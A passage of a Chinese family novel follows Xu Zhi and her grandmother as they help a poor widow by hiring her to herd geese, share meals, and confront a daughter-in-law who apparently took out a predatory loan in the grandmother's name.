许芷出了邓家,看到张立柱拉着黄安业在前面走着,后面跟着刘喜英哭哭啼啼的。 她赶忙走上前去,问道:“这去哪?” 刘喜英道:“去怀清堂让大夫看看,小业和笑笑都伤成这样,我心都要碎了。” 许芷赶紧把人拦下,“不用,小业没受伤,血是我的。” 此话一出,几人都愣住了。 张立柱转头看向许芷,这才发现她走过的地方,雪面上印着一滴滴的血迹,连成了一条线。 许芷伸出手让她们看了看手掌侧面,刚刚她看到小业倒下的瞬间,意识到机会来了。 她用自己的短刀快速的在手掌侧面剌了一刀,伤口不深,但是血多看着吓人。 许芷捏紧了手,将血全都按到了小业的后脑,导致大家都以为是小业受了伤,就连小业也这样认为。 刘喜英一看就立即懂了是怎么回事,她回过神来,扑通一声跪在许芷面前。 “恩人,大恩大德没齿难忘。” 第71章 帮忙赶鹅 许芷有些不知所措的赶紧扶人起来,可是刘喜英很坚决,怎么都扶不起来。 刘喜英真情实感的对许芷说完自己的感激之情后,才起身。 许芷有些不好意思的说道:“其实我也是为了我自己,王素娟胡乱攀咬人,我烦得很。” “君子论迹不论心,许丫头,你救了我们全家,我感谢你。” 刘喜英言辞恳切,这倒让许芷越发的不好意思。 许芷刚把刘喜英扶起来,王茹娇气喘吁吁地跑过来。 她来不及缓口气,将手里的钱塞给了刘喜英。 “刘、刘嫂子,赶紧拿了钱,去城里给小业和笑笑看病吧。” 刚说完,她看到了许芷手上的伤口。 担心的抓过许芷的手问道:“小芷,你这手咋啦?” 张立柱把许芷所为讲给了王茹娇听,王茹娇知道了心疼的直皱眉。 “疼不疼啊,小芷?” 许芷不在意的摇摇头,“天冷不是很疼。” 小业没事不用去看病,刘喜英把王茹娇的钱还回去。 王茹娇没接,又推了回去,贴心道:“刘嫂子,小业用不上,还有笑笑呢,她还这么小,伤到眼睛得仔细点。” 刘喜英看着王茹娇,泪水又忍不住往下掉,哭的脸蛋都红了。 但还是坚持不要王茹娇的钱,“娇娇,这钱你拿回去。” 她不敢接受,因为她还不起。 刚刚愿意是因为误以为小业到了生死关头,不看病不行。 笑笑的眼睛这会儿已经没有刚刚肿的厉害,她也问过笑笑能看得见,这钱能省就省了。 但是王茹娇并不理解,还说这钱不用她们还。 一听这话刘喜英更不敢接受了。 两人正僵持着,许芷突然伸手把钱拿了去。 “好了娇娇,刘婶子说了不用就是不用。” 说罢,她把钱放到了王茹娇的手中。 许芷背对着刘喜英,对王茹娇暗暗摇了摇头,让她别说了。 王茹娇本还想坚持坚持,可看到许芷阻止,只能听话的不再多说。 看到王茹娇不再坚持,许芷转身对刘喜英说道:“刘婶子要是信得过,我给婶子说个法子,用个两次保准笑笑的眼睛消肿。” 刘喜英一听忙问:“什么法子?” 许芷:“刘婶子回去煮一个鸡蛋,趁热在笑笑眼睛上滚一滚,滚个两三次就好。” 刘喜英本来有些意动,可听了这个法子,眼神瞬间暗了下去。 他们一家三口饭都吃不起,哪里来的鸡蛋。 许芷自然也想到了这个层面,她主动开口道:“天冷了,我家养的鹅还要赶,但是我祖母年龄大她受不住,我又忙着。 所以想问问刘婶子能不能帮我家赶赶鹅,一个月我给你二十个鸡蛋,若是不想要鸡蛋我也可以按照鸡蛋的价格折成钱给你。” “真的?” 刘喜英有些不敢相信。 许芷:“自然是真的。” “好,我就要鸡蛋许丫头。” 刘喜英知道许丫头这是变相的在帮自己。 她之前也听了村里的风言风语,那时候不了解许芷,只想着远离些少些麻烦。 许芷租地的时候,她其实心动了,但是村里人没有人愿意租给许芷,她自己也不敢做这个出头的人。 他们娘仨的日子已经很难过,不想再成为众矢之的。 可是今日接触了,才发现许丫头根本不是村里人说的那样。 她看起来端着一张冷面,可做人做事无可挑剔。 听到刘喜英答应,许芷微微颔首,道:“那就随我回山坳拿鸡蛋吧。” 刘喜英拜托张立柱帮她把两个孩子送回去,她一个人随着许芷去拿就好。 这会儿又下大了,怕孩子冷。 张立柱满口答应,用冰床拉着小业和笑笑回家。 许芷、王茹娇和刘喜英则朝着山坳去。 到了山坳,刘喜英看到许芷这一进的院子,微微吸了口冷气。 这怕是村子里最气派的屋子,怪不得村里人见到王素娟多刺她。 有些人是酸,可他们说不到许芷面前,只能多刺王素娟两句。 有的人是纯看不惯王素娟的为人,逮住能奚落她的机会绝不放过。 进了院子,许芷叫了声祖母。 “这儿呢。” 邓老太的声音从厨房的窗户缝里挤出来。 许芷将受伤的那只手往身后藏了藏,掀开厨房的厚帘子,一股醇厚的香气扑面而来。 许芷还未开口,王茹娇先挤了进去,小翘鼻贪婪的吸着香味。 “婶子,弄得啥好吃的呀。” 邓老太笑呵呵的打开了小炉子的盖,用火钳子拿出来了两块小红薯和几个栗子。 “我寻思你俩出去玩一会儿,回来肯定饿,就烧了点红薯和栗子给你俩吃。” 说着她看到了后面跟着进来的刘喜英。 邓老太有些惊讶,自从她丈夫没了,刘喜英整个人都消沉不少,甚少在村子里串门。 她记着黄家那小子的好,热络的招呼让刘喜英进来。 还吩咐许芷去把家里其他的瓜子花生拿出来点。 许芷应声去了上屋。 刘喜英有些不好意思,想拦一拦许芷,却没拦住。 因为邓老太抓着她的手,让她坐在火炉旁暖和,不在意的说:“就让她去,多日不见你,咱俩唠唠嗑。” 邓老太说着手上还拿了个晾得差不多的红薯,剥了一半的皮后,将红薯放在刘喜英的手里。 这少见的热络,让刘喜英眼眶泛红。 没一会儿,帘子掀开,许芷带着风雪进了厨房。 她不仅拿了瓜子花生这些零嘴,还拿了几个茶杯、茶叶和晒干的一半橘皮。 王茹娇早就自来熟的吃上了,她看到许芷拿个橘子皮好奇地问许芷要干啥。 许芷笑而不语,只是将烧水壶放在了小炉子上。 将橘子皮放在了茶壶上,里面放了茶叶。 王茹娇惊叹于许芷的想法,冲许芷竖了个大拇指。 而等着水烧开的时候,许芷说了自己的想法,让刘喜英给她们赶鹅,一个月给二十个鸡蛋。 邓老太一听皱起眉头,不满的说:“这怎么能行?” 倏然,刘喜英有些不知所措,手里的红薯怎么都吃不下了。 许芷疑惑看向祖母,“怎么不行?” “不行就算了。” 刘喜英不等邓老太说话,就讪笑着抢先开口,她不想让邓老太当面为难的说出不用她的理由。 也不愿意让许芷因为自己跟祖母对着干。 所以先说算了,反正也习惯了。 说完她站起身就要走。 第72章 吃热锅子 许芷闻言看向她的眼神更疑惑,抓住她的手腕不让她走,不紧不慢的说道: “我祖母说的不行,可不是你不行,是给你的二十个鸡蛋不行。” 许芷对祖母还是很有信心的,就祖母这种良善之人,是不可能在面对刘喜英这种情况,狠心不管的。 所以祖母说的不行,应当是觉得她一个孩子说的鸡蛋太少。 主要是她怕说多了刘喜英不愿意,光看王茹娇要借钱给她,她死活不要都能看得出。 刘喜英虽然日子过得苦,但是她苦的有尊严,不愿意别人对自己格外的照顾。 因为她认为好都是要还的,可她还不起。 她无法心安理得的接受别人全心全意的好。 刘喜英诧异的看向邓老太,想要求证许芷话的真假。 看到邓老太点点头,承认说:“没错,天这么冷出去赶鹅,光给你二十个鸡蛋可不行。 十五个鸡蛋,十个鸭蛋才可以。” “婶子......” 刘喜英的眼泪蓄满了眼眶,她哽咽的叫出这两个字,再也说不出其他的话。 丈夫去世后,直到现在再难她也觉得扛扛就过去了。 心里从来没觉得委屈过。 可今日因为她们,刘喜英觉得心里酸胀的很,眼泪都忍不住。 邓老太知道刘喜英心里苦,所以没打扰她哭,只是将剥好的热栗子放在她的手心,又暖和又香。 这事儿说住之后,刘喜英就不再许芷家多待了,家里还有两个孩子她放心不下。 走的时候,许芷鸡蛋和鹅蛋放在了篮子里让她带回去。 除此之外,邓老太还给了好几块红薯和一些栗子。 刘喜英刚开始不好意思要,但是邓老太说是给两个孩子的,不是给她的才收下。 送走了她,祖孙俩和王茹娇回屋。 王茹娇长舒一口气,缓缓道:“小芷,我懂为啥刘嫂子不要我的钱,你也拦着我了。” “为啥?” 许芷走着看着雪景,随口问道。 “因为钱她还不起,对她来说这样的好是负担。” 说完,王茹娇转过身认真的看着许芷,问道:“是不是之前你也是这样想的?” 许芷没有正面的回答,而是转移话题的说道:“可惜了,水估计开了,但是刘嫂子走了,喝不到橘茶。” 一听这个,王茹娇着急的往家里回,“我要尝尝这茶到底好不好喝。” 看着王茹娇这活泼的性子,许芷和祖母都笑意连连。 这一场雪下了一整天,到了晚上才缓缓停下。 许芷提议晚上吃热锅子。 邓老太也觉得行,这雪天吃热锅子,吃的浑身热乎乎正好钻被窝睡。 她让许芷去地里拔一颗大白菜,回来涮锅吃。 除此之外,这个冬天她们还提前种了些菠菜、皇帝菜和茄子。 茄子没法吃涮锅,所以拔了颗白菜,又薅了一小竹篮的菠菜和皇帝菜。 因为河冻上了,许芷把菜拿了回来洗,都洗完切好放在桌子上。 家里还有上次窖藏起来的肉和腌的腊肉,邓老太拿了出来切成薄片装盘备用。 昨天许芷买了些豆芽和豆腐,豆芽直接洗一洗装盘,豆腐切成块也装盘。 除了这些,家里还有点粉条,邓老太也准备了一些。 菜准备好了,就要开始准备热锅子的汤底。 也是昨天许芷买了些大骨头,本来是准备熬汤喝的。 正好今天放在热锅子里熬汤底。 邓老太放了一块大骨头,剩下的还要熬汤早上泡饼子吃。 她切了葱段和姜片放到了锅子里,等到熬出了奶白色的汤底,再开始加了盐、花椒、八角和茴香等料调味。 制好之后,祖孙俩和邓耧子在厨房围着小炉子吃饭。 邓耧子吃的热到冒汗,可是筷子却停不下来。 “这天还是得吃热锅子,又香又暖和。” 他把一块肉丢进嘴里,忍不住感慨。 许芷也没忍住点了点头,祖母这汤底熬的好,肉香味十足,白菜和菠菜投进去一涮,鲜甜香,吃的人心情愉悦。 而看着儿子毫无姿态的吃香,邓老太有些不满的啧一声。 心想自己儿子这么的粗鲁,什么时候能给自己找个儿媳妇儿啊。 她故作揶揄道:“吃锅子算啥暖和,要是晚上被窝里有个媳妇儿搂着,那才叫真暖和。” 邓耧子没想到亲娘能把话头转到这上面,刚吃进嘴那一口吸满了汁的白菜叶子瞬间不上不下,立刻呛住了。 见舅舅呛到,许芷赶快倒了杯茶水递给他。 邓耧子也不回应邓老太的话,只是埋头苦吃。 吃饱了赶紧跑,生怕娘再多唠叨一句。 看着舅舅仓皇逃走的背影,许芷忍不住笑出声。 “祖母,你把舅舅吓跑了。” 邓老太哼一声,“吓跑?明儿早上屁颠颠的就来吃饭了,光惦记着吃,一点不操心娶媳妇儿呢。” 怨不得祖母急,邓耧子已经二十有二。 他这个年纪,村子里同岁的孩子都好几个。 偏偏他连个媳妇都没有。 若是考功名确实不急,可他没有考功名,也没有个青梅竹马,更没个人摸上门说一说。 邓老太不着急才怪。 第二日,果真如祖母所言。 舅舅嬉皮笑脸的就来吃饭。 看到祖母微沉的脸色和浑然不觉的舅舅,许芷忍不住偷笑。 吃过饭,许芷和祖母今日要把菜地里的葱和白菜都拔出来。 因为天冷,让菜长在地里会冻坏。 拔出来之后可以窖起来,防冻也能防烂,能吃的久一点。 因为天冷没活,邓耧子最近一直歇着,所以他也来帮忙。 白菜好弄,拔出来之后,把枯了的菜叶摘掉,用菜刀把菜根砍去。 都弄完,放在荫井里就行。 葱的话不能这样做,会烂在荫井里。 而是把葱连根拔起之后,找到房子的向阳但背风的墙角,把葱种在那。 然后用干草和树枝盖在上面,这样防冻也防风。 其他的菠菜和皇帝菜,本身在冬天就长得不高,贴着地面的话,受风影响不大,不用薅出来单独弄。 能活着就吃,吃不到就算了。 弄完了之后,刘喜英来了山坳。 因为害怕两个孩子自己在家出去玩,又遇上昨日的情况,所以这次她带着两个孩子一起来的。 邓老太交代她出太阳的时候,才用来山坳赶鹅。 今日恰逢艳阳天,日头照在白茫茫的雪上,还有些晃眼。 第73章 蒜苗腊肉 许芷看到笑笑的眼睛比昨日好多了,到底是小,已经没了昨日那唯唯诺诺的可怜样。 今天叽叽喳喳的期待着跟母亲一起赶鹅。 许芷把她们带到了鹅圈,交代道:“就十只鹅,也不用往远了赶,在这山坳里跑一跑就行。” 刘喜英亲热热的应了声,拿过杆子就要赶鹅出去。 许芷看着笑笑和小业可爱的样子,进屋里拿了上次没吃完的芝麻酥糖,给了两人一人一根。 小业和笑笑没敢直接接住,而是看了看刘喜英。 直到看到刘喜英点了头,他们俩才欢欢喜喜的接下。 傍晚的时候,母子三人赶着鹅回来。 许芷帮着忙把鹅赶进了圈。 恰好,邓老太刚做好了饭,她今晚炒了蒜苗腊肉、腌香椿炒鸡蛋和清炒菠菜。 还蒸了酸菜馅的大包子,香味充斥着整个院子。 刘喜英要带着孩子回家的时候,才发现两个孩子直勾勾的盯着厨房,被这香味想入迷了。 她瞬间红了脸,低声斥责两个孩子。 “小业、笑笑,快跟娘回家。” 邓老太也看到这两个孩子的模样,她慈爱的看着他们两个说道:“就让孩子们在这吃呗,我今晚做得多,吃不完也浪费了。” 此话一出,笑笑和小业都用期待的眼神看着刘喜英。 只是还没等她拒绝,邓老太直接拉着两个孩子进了厨房。 “来,奶奶给你俩盛饭。” 如此,刘喜英拒绝的话就被堵在了口中。 许芷笑了笑,招呼她一起来吃。 “你不来,祖母就该来拉你了。” 一听这话,刘喜英赶紧自己进了厨房。 自己的架子得多大,能让婶子拉着自己进来吃饭。 笑笑和小业很久没吃过肉了,看到桌子上的菜,俩人惊得下巴都合不上。 要知道鸡蛋都是昨天他们才能吃的,也没有像许芷家这样炒了一整盘。 而是搅成了鸡蛋花,放进了粥里。 可就这样,他俩都觉得昨晚的粥太香了。 家里没有小碗,所以邓老太用大碗给小业和笑笑舀了一点的粥,放在他们的面前。 邓老太怕他俩不敢吃,直接一人塞了一个大包子。 兄妹俩看了一眼刚刚进来的刘喜英,刘喜英无奈说道:“还不赶紧谢谢奶奶。” 听出妈妈话中的同意,他们俩大声的对邓老太道谢,声音甜到了邓老太心里。 “好好好,快吃吧。” 笑迷糊的邓老太,又给他俩的碗里夹了一大筷子的肉和鸡蛋。 许芷让刘喜英坐,给她舀了一大碗的小米粥。 放到面前的时候,刘喜英下意识的摆手,想说太多了。 但是许芷只是给她摆动的双手,一双筷子一个大包子。 占住了她的手,说道:“快吃吧,刘婶子。” 几人正吃着,邓耧子姗姗来迟。 看到刘喜英一家在这,只是一瞬的愣神,接着坐下拿着包子就往嘴里塞。 许芷起身去给舅舅舀粥。 邓老太看着儿子这饿死鬼托生的样子,不满的说道:“你看你,没个正型,当这孩子面斯文一点。” 邓耧子一边吃一边说到:“斯文不起来啊娘,饿死我了,你不知道今天我跑了多远。” “舅舅今日去哪了?” 许芷把粥放在了舅舅的面前,温声问道。 邓耧子拿起碗喝了一大口,顺了顺气才开口道:“工头说城里有家人要盖什么养花的暖房,我俩就去看了看。” 许芷闻言觉得这家人好生奇怪,盖暖房不该是天冷之前做准备,哪有都下过一场雪才想起来这事。 她将自己的疑惑说了出来。 邓耧子一听也道:“谁说不是呢?本来工头听说的时候,都不打算接,可架不住他们给的钱多,就盖个暖房,人家给二百两银子。” 一听这个,饭桌上的除了许芷都倒吸一口冷气。 “乖乖,那什么花啊,就那么金贵。” 邓老太忍不住道。 许芷倒是见怪不怪。 花看似常见,山野遍地都有,可有些品种的花光是培育都下了极大的功夫,可达千金。 就说牡丹,有一稀罕名为豆绿,又叫欧家碧,颜色如名是那种浅淡的黄绿色。 这品种被列入四大名贵牡丹其中,若是培育出来,爱者愿为其豪掷千金。 故而,若是为了此等花,花费二百两建一个暖房也不足为奇。 邓耧子继续说着:“你们是不知道,那人家从进门就能闻到花香,直叫人闻之欲醉,在这寒冬腊月,那屋里廊下全是培好的花,我今日算是开了眼。” 吃完喝下最后一口,他打出了一个又长又响的饱嗝。 平日里,儿子也不是没这样过,可今日有外人在,邓老太觉得丢人的很。 看着儿子这样,不住的摇摇头。 而笑笑和小业被他这一声逗得咯咯直笑,半天停不下来。 邓耧子好似看不到母亲沉下来的脸,反而看到兄妹俩这么高兴,他更加起劲儿。 又打了几个更响的饱嗝。 兄妹俩好像见到了什么稀奇的事情,笑不停,还问邓耧子怎么做到的,竟缠着他要学。 看的邓老太眼前一黑,索性直接垂下眼吃自己的。 眼不见为净,可耳朵是真真切切能听到。 许芷在一边憋着笑,憋的很辛苦。 而刘喜英看出来邓老太脸色不好,赶紧叫着一双儿女回家。 两个孩子还没有寻到邓耧子打嗝的真谛,被母亲叫着走还有些意犹未尽。 看出来俩孩子不舍得,邓耧子反正也吃完饭了,索性就跟他们一起走。 小业和笑笑一听高兴的直蹦,邓耧子直接一手抱一个,给两个小萝卜头展示自己的打嗝神功。 而邓老太听着那一声声,又气又丢脸,还是扯着笑脸送刘喜英。 “我这儿子有些人来疯,别理会他就成,你走在路上离他远些,这样不觉得丢人。” 听到祖母这么说,许芷再也忍不住,噗嗤大笑起来。 而刘喜英脸色涨红,讪笑一声,赶紧走了。 送走了人,邓老太坐在厨房用小炉子烤火。 许芷在刷碗,身后的叹气声听了不下十几声。 她忍了忍笑意,替舅舅开脱道:“娘,舅舅只是还没遇上,若是遇到个合心的,说不定就该换个模样。” 第74章 欠债还钱 邓老太闻言又是一口气长长叹出。 “那啥时候才能来这么个妙人把你舅舅摁住呢?” “急不得急不得。” 许芷轻笑着回道。 因为天冷,地里没什么事,许芷和祖母每天吃了睡睡了吃。 没事喝喝茶看看景,说是看景,其实就是盯着山发呆。 时不时被王茹娇拉着玩叶子牌,或者就是她上山闲转,看看能不能找到残存的草药。 闲的许芷都觉得自己要长毛了。 日子就这样平稳的进入了腊月。 正当许芷以为日子会这样平淡的到过年,几个不速之客进了山坳。 “李月英,李月英在不在!” 粗狂的声音和急促的砸门声传进许芷的耳朵。 她有些疑惑的看向祖母,“李月英是......?” “傻丫头,祖母叫李月英。” 邓老太瞥她一眼,去开门。 许芷悻悻的缩了缩脖子,她是真不知道。 邓老太刚打开门,几个凶神恶煞的彪形大汉挤着进了屋。 “谁是李月英?” 为首那人凶巴巴的问着。 邓老太不满的看着面前的大汉,自己好歹也算是长辈,这人直呼自己的大名,真是少教。 她双手叉腰,没好气的回道:“是我,你干啥?” 那大汉听到这话,愣怔在原地。 他没想到李月英竟然是个老太婆,而他身后的小弟凑上来问道:“强子哥,这咋弄啊?” 被叫强子哥那人,脸上的疑惑少了些,不客气的开口道:“还能咋弄,欠了钱就该还,管他是三岁小儿还是脖子以下进了土。” 邓老太听到还钱,不解的问:“谁欠你钱?” 强子哥不善的看着邓老太,怒气冲冲道:“你!” 许芷冲出来挡在祖母身前,还是镇定的问道:“什么欠钱,我们根本不知道。” 像是猜到了她们会这样否认,那人从胸前掏出来了一张欠条。 “看看这是什么,你说不知道就不知道啊,这白纸黑字写的清清楚楚,李月英在上月廿一借钱一百两,十日内还清,若还不上,逾期几日便加几成。” 许芷想要把欠条拿过来好好看,但强子哥直接将欠条折起来收进怀中。 “如今过了半月有余,共二十日,按照欠条所述,你该还我们二百两。” 许芷皱着眉头,她争辩道:“我祖母根本没出去过,怎会去借你们钱。” 那人混不吝的轻笑一声:“这欠条可是她按的手印,我们可是没有户籍文书都不认不借钱的,既然有了这欠条,都是正规的。” 许芷这么一听还有什么不懂的,有邓老太户籍文书的不就邓家人,能做出这种事情的除了她的大舅母,她想不到其他人。 许芷心中窝着一团火,冷着脸道。 “什么正规不正规的,照你这么说谁拿了户籍文书,随便指一个户籍上的名字,不都能借钱,有什么证据证明是我祖母借的。” “呵,你这丫头,真是牙尖嘴利。” 说着强子哥就要上手去摸许芷的下巴。 许芷猛地偏头躲过,看她这样子,强子哥也不恼继续道:“我管他是谁借的,现在欠条上是你祖母的名字,我就只认她。 别说什么废话,赶紧还钱,要是没钱嘛......” 这人淫笑出声,继续道:“拿人抵也行。” 许芷知道这些人都是练家子,只有她跟祖母两个人,起了冲突吃亏的只会是她们两个。 她要做的就是拖着,把这些人先弄走,然后再想办法去解决。 所以她软了些声音道:“大哥,你也看到了,我们这祖孙俩今日实在是拿不出,要不你们再给我几天,我去凑凑。” 这当然可以了,强子都没指望这一趟都能要出来钱。 若不是穷鬼谁会借这种钱,借了也难还上。 这次运气好些,家中还有个妙龄少女,等他们再来闹几次。 姑娘家奉献精神大,脸皮又薄,就该主动说卖身抵债,到时候...... 只是心中这么想着,他面上装作很为难的样子,想了半天才开口:“可若是再缓几天可就不是二百两了小姑娘。” 许芷闻言只说没问题,到时候是多少还多少。 那几人听到这话才答应缓三四天,走之前那人的眼神黏腻的看了几眼许芷。 看的许芷犯恶心。 而邓老太听到孙女应下了这些钱,着急的说:“小指儿啊,你怎么能答应了呢,那不是祖母做的呀。” 许芷先安抚祖母道:“我当然知道,总要把他们打发走了再想办法解决。” 邓老太一听确实是这样,她欲哭无泪,“老天爷啊,到底是谁,要这样磋磨我们祖孙俩。” 许芷虽然不想让祖母伤心,可是她还是开口道:“祖母,这钱可是用了你的户籍文书借出来的。” 她只说这一句,剩下祖母就能猜到了。 邓老太听到后,不可置信的往后退了几步,她脸色苍白,一时间竟忘了呼吸。 下一瞬她捶胸顿足,哭嚎出声:“家门不幸!家门不幸啊!老头子,你带我走吧,孩子们简直无法无天啊。” 许芷知道祖母难以接受,可她一时间也不知道该说什么安慰祖母。 只能陪着祖母,等到祖母情绪稳定下来,她说道:“祖母你放心,这件事我一定会妥善解决的。” 她将祖母搀扶回了屋,看到祖母白着一张脸,嘴唇颤抖的样子。 看的她心里也一样难受,她宽慰祖母道: “祖母事已至此,你可一定要保重身子,大事小情总有解决办法,可若是身子垮了可就真的垮了。” 邓老太无言的点了点头,眼泪却止不住的往下掉,擦都擦不及。 深感无奈的许芷,不知道自己还能说什么安慰祖母。 此刻她无比讨厌自己这张不太会说话的嘴。 只能不停的重复那句“我一定会解决的。” 邓老太听得多了,抬起头看着她说道:“小指儿,你不用安慰祖母,这钱在祖母的身上怎么着也不会让你沾上一个铜板!” 许芷知道祖母是不想连累自己,她叹了口气,想了想说道:“祖母,本朝律法有规定,若是父母无偿还能力,债务自动归子女所有。 只要咱们证明了你没有能力还钱,这债务还是会落到他们的身上。” “真的?” 邓老太的眼神里燃起了一分希望。 第75章 户籍文书 “当然是真的,只是这需要去衙门,只要县太爷判了,这债务就不是你的。” 许芷看着缓过来些的祖母,偷偷松了口气。 又陪了祖母一会儿,直到祖母困了睡下,她才离开了祖母的房间。 傍晚,她正在厨房里做着饭,祖母掀了帘子进来,拿着拾鸡蛋的篮子往外出,还留下一句话。 “小指儿,晚会儿咱去娇娇家,找她哥问问情况。” 尽管孙女这么说了,可她心里还是不踏实。 就算是律法这样规定,她觉得也该找个衙门的人问一问。 所以硬是等到现在,觉得王桥差不多回到了家,才支起劲儿起来。 许芷倒也没拦着,她知道光自己说的,祖母肯定不相信。 要是加上王茹娇亲哥哥,这个在衙门里做事的人说的话,祖母肯定会放心许多。 只是许芷没想到这一趟去的,不仅没让祖母放心,反而更提心吊胆了。 最近邓耧子跟工长两个人去城里盖暖房,因为主家着急,直接让他们俩人睡在那,日夜兼程,尽快盖好。 所以晚上吃饭只有许芷和祖母两人。 吃过饭,祖孙俩挎着整整一篮子的鹅蛋出了山坳。 到了王家的时候,看到她们祖孙俩都来,徐青云还有些惊讶。 忙上前迎接,看到拿的鹅蛋,她佯怒道:“婶子,来咱家拿啥东西啊,这鹅蛋那么贵,你就是不卖钱也该留着自己吃啊。” 邓老太笑的热络,将手里的鹅蛋塞进了徐青云的手里,摆摆手满不在乎道: “自己家养了鹅,不贵不贵,想吃多少都有。” 徐青云也知道许芷家里养了鹅,这一篮子虽然没花钱,不过也是得两天攒的。 况且她没说错,鹅蛋就是贵,这一篮子要是不给他们家,拿去卖也不少钱。 本来想再让让,可是看到邓老太面露难色的样子,她知道只怕是有事相求。 若是如此,她不收下人家就张不开嘴,所以笑呵呵的收下了鹅蛋。 刚收下,刷完碗的王茹娇就出来了。 “小芷,婶子,今儿咋想起来我家了呀?” 许芷也不多客气,直接说:“娇娇,我跟祖母想找你哥问点事。” 王茹娇一听立马说没问题,带着两人进了堂屋。 让她们俩先坐,她去叫她哥。 王桥正在房间内伏在案上写着什么,听到妹妹说许芷祖孙俩找她,放下笔就过去。 邓老太看到王桥过来,赶紧起身,王桥看到作为晚辈放快了脚步赶紧上前,接住了邓老太寻求庇护伸出的双手。 刚想问这是怎么了,却看到邓老太哭着说不出什么话,他只得让人先坐下。 许芷扶着祖母坐下,抚着后背给祖母顺气。 王茹娇看到着急的问道:“婶子,你这是咋了呀?遇到啥难事了,你跟我哥说。” 许芷看祖母伤心的说不出话,她给王桥屈膝行了个礼,王桥看到赶紧摆手。 “咱们俩家关系近,别囿于这些虚礼。” 许芷点点头,才开口道:“桥叔,我祖母遇上些事。” 接着她把今天发生的事情,还有他们两人的猜测都说了出来。 其实她也想问问,官府能不能判的了。 谁知道王桥一听紧皱眉头。 许久,才头疼的开口道:“律法确实是这么规定的,可那得是正常借钱,像印子钱这种,催债的都蛮横,只认他们认定的,就算是县衙也无可奈何。” 许芷:“那也就是说,只要是欠条上的名字,催债的只认死理,不理公法。” 王桥点点头:“是了,所以你这就算是对簿公堂,只怕是治标不治本。” 闻言,许芷若有所思的点点头,她还未着急,王茹娇已经急了。 “哥,难道就让婶子背上这钱?” 王桥伸出手,让妹妹冷静些,继而转身对许芷祖孙俩道: “话虽如此,但这也不失为一个办法,若是那些催债的背后之人没有太硬气的靠山,这倒也行,反正他们催债的就是要钱,给谁要不是要。” 许芷闻言点点头,心中有数,抬头微笑的冲王桥道谢。 “谢谢您乔叔,这事儿我心里清楚了,不过我还有一事相问。” 王桥:“你问。” 许芷:“若是户籍文书丢了,只要是家里人都可以去衙门补办吗?” 王桥:“按说是要户主去,可我就是管这个的,咱们村谁家的户籍文书出了差错,我直接就给办了。” 许芷闻言,微不可查的轻笑一下,又郑重的跟王桥到了谢,就带着祖母回家了。 王茹娇将两人送出了家门,拉这许芷的手保证道:“小芷,你放心,我一定让我哥帮你们” 许芷笑着点了点头,带着祖母回了家。 睡前还安慰祖母,让她别担心,这事儿一定能解决的。 可第二日起床就不见祖母的身影。 “不好。” 许芷只怕祖母想不开,转头就出了家门。 她怕祖母想人死债消做什么傻事。 许芷在山坳里找遍了,都没找到祖母的身影,她怕祖母上了山。 此时山上荒凉之至,那地方大的可不好找。 她想找些人帮自己一起找。 王茹娇过来找她,却看到她急吼吼的出来。 忙跑到她身边关切的问道:“小芷你往哪去?” 许芷看到王茹娇赶忙让她帮忙上山找祖母,却听到王茹娇说:“婶子吗?我嫂子说早上在村里见到了婶子,她急匆匆的往邓家去了。” 听到王茹娇的话,许芷瞬间松了口气,还好还好。 要是祖母出了什么事,她会内疚到死。 既然如此,两人赶紧出了山坳往邓家去。 今儿罕见的是个好天气,日头照的,让猫冬在家里的村民都坐在门口的石头上晒太阳。 从山坳到邓家这一路,坐在门口的都看到了邓老太黑着脸。 想到这一年邓家出的事儿,众人觉察到又有热闹看,都默契的跟在邓老太身后,往邓家门前聚。 邓老太到了邓家门前,二话不说张口就骂:“王素娟!你个喝了马尿、黑了心肝、没了脑子的蠢玩意儿,给我滚出来!” 这泼辣的样子,让众人预感到此事非同小可,看来今日这热闹定然好看。 第76章 气急攻心 邓老太嘴上一刻不停的骂着,誓要把王素娟给骂出来。 等着的时候,旁边看热闹的刘婶子大咧咧的问邓老太:“婶子,这是咋了?怎么跟儿媳妇吵起来了。” 邓老太撇了一眼幸灾乐祸的刘婶子,哼了一声,不理会她。 继续骂着王素娟。 没一会儿,王素娟扭着腰,花枝招展的出来了。 她向来蓖麻头巾一包的头发,这会儿整齐地梳着,上面还有根簪子。 仔细闻还淡淡的飘着桂花头油的香气。 身上穿的衣物,一改往日的粗布补丁,换上了个鲜亮的红色暗纹小袄。 出来看到邓老太高昂着头,活像个招摇的花孔雀。 若说之前只是猜测,现下看到了王素娟这穷儿乍富的样子,让邓老太有了十足的把握,确定这钱就是王素娟借的。 确定了这事儿,邓老太看向王素娟的眼神又冷了几分。 反观王素娟一副与我无关的样子,脸上还带着得意地笑,似乎没听道婆母刚刚的骂声。 “呦,这不是跟我们分了家的婆母吗?怎么今日愿意屈尊来我家啊。” 邓老太怒视着王素娟,咬牙切齿道:“你干了什么好事,你心里清楚。” 王素娟好像听到了什么笑话一般,双手一摊,嗤笑道; “婆母这话说的好没道理,我怎么知道你说的什么? 而且若是真干了好事,你该高兴才对,怎么还这样骂到儿媳妇脸上?” 邓老太“呵”一声,冷声道:“你算什么儿媳妇?” “哎,大家都听听,我这婆母说的这是什么话,就算是分了家,可我总归是老大的媳妇儿,不能因为婆母您自己离开了邓家,也不让我留着吧” 王素娟说到最后一句话,看着邓老太嘴角勾起,笑的嚣张又得意。 邓老太看着她这样子,心里要被气到吐血。 她恼羞成怒道:“我可没你这种借了印子钱的儿媳妇!” 本来看热闹的人,听到印子钱这三个字纷纷窃窃私语。 “这素娟儿胆儿就是大,竟然敢借印子钱。” “怪不得素娟儿这几日红光满面的,原是有钱了呀。” “嗐呦,这算什么钱,今天花了明天加倍还,你看她能还得起吗?” 周边的奚落、嘲讽都一字不差的落入了王素娟的耳朵中,她不恼也不急,只是朝那些人丢了一记眼刀。 只见王素娟双手环抱于胸前,居高临下的问道:“我的好婆母啊,饭可以乱吃,话可不能乱说,我什么时候借了印子钱。” “上月廿一,你借了一百两银子,却脏心眼的用了我的户籍文书,把债务安在了我的头上。 我告诉你王素娟,这钱我不可能还! 而且,我还要把你逐出我们邓家。” 邓老太斩钉截铁的说着。 王素娟闻言反而大笑出声,嘲讽的眼神落在邓老太的身上好像是蜂一般,猝不及防的蛰痛了人。 “我叫你一声婆母,还真让你以为能继续摆婆母的款儿是吗?” 话音落下,王素娟的眼神变得阴狠,她厉声道:“当初是你自己儿子孙子统统不要,就为了保那个贱丫头,这会儿倒是来充个娘样子。 你算哪门子娘?你想让老大休了我,那也得老大听你的,我们家栓子恨不得没你这个娘,你还摆什么谱?” “那是我儿子不知道你做的事!” 邓老太心存幻想的说着。 